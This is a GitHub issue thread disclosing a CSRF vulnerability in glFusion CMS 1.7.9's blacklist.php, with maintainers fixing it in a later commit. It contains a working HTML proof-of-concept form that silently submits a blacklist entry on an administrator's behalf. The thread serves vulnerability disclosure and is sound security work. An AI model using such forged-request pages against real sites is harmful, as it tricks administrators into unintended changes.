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glFusion CMS 1.7.9 blacklist.php CSRF vulnerability #486

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Topsec-bunney opened this issue Dec 9, 2021 · 3 comments
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glFusion CMS 1.7.9 blacklist.php CSRF vulnerability #486

Topsec-bunney opened this issue Dec 9, 2021 · 3 comments
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@Topsec-bunney
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Topsec-bunney commented Dec 9, 2021 •
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Attackers can construct blacklist IP addresses. Using the CSRF vulnerability to trick the administrator to click, can add a blacklist

poc

  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.255.130/glfusion-1.7.9/public_html/admin/plugins/bad_behavior2/blacklist.php" method="POST">
      <input type="hidden" name="mode" value="addsave" />
      <input type="hidden" name="bl&#95;type" value="spambot&#95;ip" />
      <input type="hidden" name="bl&#95;item" value="1&#46;1&#46;1&#46;121" />
      <input type="hidden" name="ban&#95;reason" value="ipbrute" />
      <input type="hidden" name="submit" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

notepad++_aEpevZ9pjv
firefox_k6jJMk5luW
@leegarner
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leegarner commented Dec 9, 2021 via email

@mark0263 mark0263 self-assigned this Dec 26, 2021
@mark0263 mark0263 added the bug label Dec 26, 2021
@mark0263
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Adding CSRF support for blacklist entry / edit.

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Fixed with b380ead

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@mark0263 @leegarner @Topsec-bunney